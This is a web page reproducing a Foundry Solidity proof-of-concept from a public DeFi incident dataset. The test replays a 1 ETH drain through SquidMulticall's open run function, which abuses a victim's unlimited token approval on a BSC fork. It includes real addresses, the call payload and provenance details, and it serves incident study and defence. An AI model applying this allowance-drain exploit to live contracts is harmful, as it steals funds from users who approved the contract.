Public reproduction file
src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol
Public reproduction file for dataset entry SquidMulticallAllowanceDrain.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 1 ETH8// Attacker : 0xe02b595ca69d8d3e120043536e6e76caea385a829// Attack Contract : 0x101c6e9f62554ddd3a32f395c655e20512ab321d10// Vulnerable Contract : 0xad6cea45f98444a922a2b4fe96b8c90f0862d2f411// Attack Tx : https://bscscan.com/tx/0x81d0c429ee7eae19d8c4d9d797dbd3828279060096e703b11cca739c9b1301e913// @Info14// Vulnerable Contract Code : https://bscscan.com/address/0xad6cea45f98444a922a2b4fe96b8c90f0862d2f4#code16// @Analysis17// Twitter Guy : https://x.com/DefimonAlerts/status/204153029436938680618//19// The attacker used SquidMulticall.run with one Default call whose target was the Binance-Peg ETH token.20// Because the victim had approved SquidMulticall, the multicall contract could execute transferFrom and21// move 1 ETH from the victim to the attacker.22// The Twitter report notes about $800K of cross-chain approvals were at risk and about $512K was later23// rescued by Defimon. This PoC is scoped to the exploit transaction, which transferred 1 ETH.25address constant ATTACKER = address(bytes20(hex"e02b595ca69d8d3e120043536e6e76caea385a82"));26address constant SQUID_MULTICALL = address(bytes20(hex"ad6cea45f98444a922a2b4fe96b8c90f0862d2f4"));27address constant VICTIM = address(bytes20(hex"acc0c1f672b03b9a5fed4535f840f09b85f40e98"));28IERC20 constant ETH_TOKEN = IERC20(address(bytes20(hex"2170ed0880ac9a755fd29b2688956bd959f933f8")));30interface ISquidMulticall {31 enum CallType {32 Default,33 FullTokenBalance,34 FullNativeBalance,35 CollectTokenBalance36 }38 struct Call {39 CallType callType;40 address target;41 uint256 value;42 bytes callData;43 bytes payload;44 }46 function run(47 Call[] calldata calls48 ) external payable;49}51contract ContractTest is BaseTestWithBalanceLog {52 function setUp() public {53 uint256 forkBlock = 91_122_249;54 vm.createSelectFork("bsc", forkBlock);56 fundingToken = address(ETH_TOKEN);57 attacker = ATTACKER;59 vm.label(ATTACKER, "Attacker");60 vm.label(SQUID_MULTICALL, "SquidMulticall");61 vm.label(VICTIM, "Victim");62 vm.label(address(ETH_TOKEN), "ETH Token");63 }65 function testExploit() public balanceLog {66 uint256 attackerBefore = ETH_TOKEN.balanceOf(ATTACKER);67 uint256 victimBefore = ETH_TOKEN.balanceOf(VICTIM);68 uint256 allowanceBefore = ETH_TOKEN.allowance(VICTIM, SQUID_MULTICALL);69 uint256 drainAmount = 1 ether;71 assertEq(allowanceBefore, type(uint256).max, "victim did not approve SquidMulticall");72 assertGe(victimBefore, drainAmount, "victim did not hold enough ETH");74 // step 1: build the same SquidMulticall Call shape used by the exploit transaction.75 ISquidMulticall.Call[] memory calls = new ISquidMulticall.Call[](1);76 calls[0] = ISquidMulticall.Call({77 callType: ISquidMulticall.CallType.Default,78 target: address(ETH_TOKEN),79 value: 0,80 callData: abi.encodeCall(IERC20.transferFrom, (VICTIM, ATTACKER, drainAmount)),81 payload: bytes("")82 });84 // step 2: any caller can make SquidMulticall execute the token transferFrom.85 vm.prank(ATTACKER, ATTACKER);86 ISquidMulticall(SQUID_MULTICALL).run(calls);88 // step 3: prove the victim allowance was spent and the attacker received the trace amount.89 uint256 attackerGain = ETH_TOKEN.balanceOf(ATTACKER) - attackerBefore;90 uint256 victimLoss = victimBefore - ETH_TOKEN.balanceOf(VICTIM);91 uint256 allowanceSpent = allowanceBefore - ETH_TOKEN.allowance(VICTIM, SQUID_MULTICALL);93 assertEq(attackerGain, drainAmount, "attacker did not receive ETH");94 assertEq(victimLoss, drainAmount, "victim did not lose ETH");95 assertEq(allowanceSpent, drainAmount, "allowance was not spent by ETH transferFrom");96 emit log_named_decimal_uint("ETH drained through SquidMulticall", attackerGain, 18);97 }98}Analysis
Dataset entry
Public Foundry test for “SquidMulticallAllowanceDrain” (2026-04-07). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame month in the dataset · 126 lines
- src/test/2026-04/giddyvaultv3_compound_auth_exp.solSame month in the dataset · 283 lines
- src/test/2026-04/JUDAO_exp.solSame month in the dataset · 164 lines
- src/test/2026-04/JuiceboxREVLoans_exp.solSame month in the dataset · 231 lines
- src/test/2026-04/KipseliPropAMM_exp.solSame month in the dataset · 128 lines
- src/test/2026-04/MONA_LisaVault_exp.solSame month in the dataset · 247 lines
- src/test/2026-04/PerpPair_exp.solSame month in the dataset · 249 lines
- src/test/2026-04/RWAVault_exp.solSame month in the dataset · 133 lines
- src/test/2026-04/SaturnProtocol_exp.solSame month in the dataset · 211 lines
- src/test/2026-04/SingularityDynaVault_exp.solSame month in the dataset · 180 lines
- src/test/2026-04/SubQuerySettings_exp.solSame month in the dataset · 168 lines
- src/test/2026-04/ThetanutsVaultShareRounding_exp.solSame month in the dataset · 105 lines
- src/test/2026-04/unverified_a152_exp.solSame month in the dataset · 184 lines
- src/test/2026-04/XLootStaking_exp.solSame month in the dataset · 197 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe02b595ca69d8d3e120043536e6e76caea385a82
- Attack Contract
0x101c6e9f62554ddd3a32f395c655e20512ab321d
- Vulnerable Contract
0xad6cea45f98444a922a2b4fe96b8c90f0862d2f4
- Attack Tx
0x81d0c429ee7eae19d8c4d9d797dbd3828279060096e703b11cca739c9b1301e9
File record
- Name
- SquidMulticallAllowanceDrain
- Path
- src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 83b71e60ce3a3805a70ba699636a103d33f1b74d
- Language
- Solidity
- Size
- 99 lines
- Date
- 2026-04-07
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-04/SquidMulticallAllowanceDrain_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 83b71e60ce3a3805a70ba699636a103d33f1b74d, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.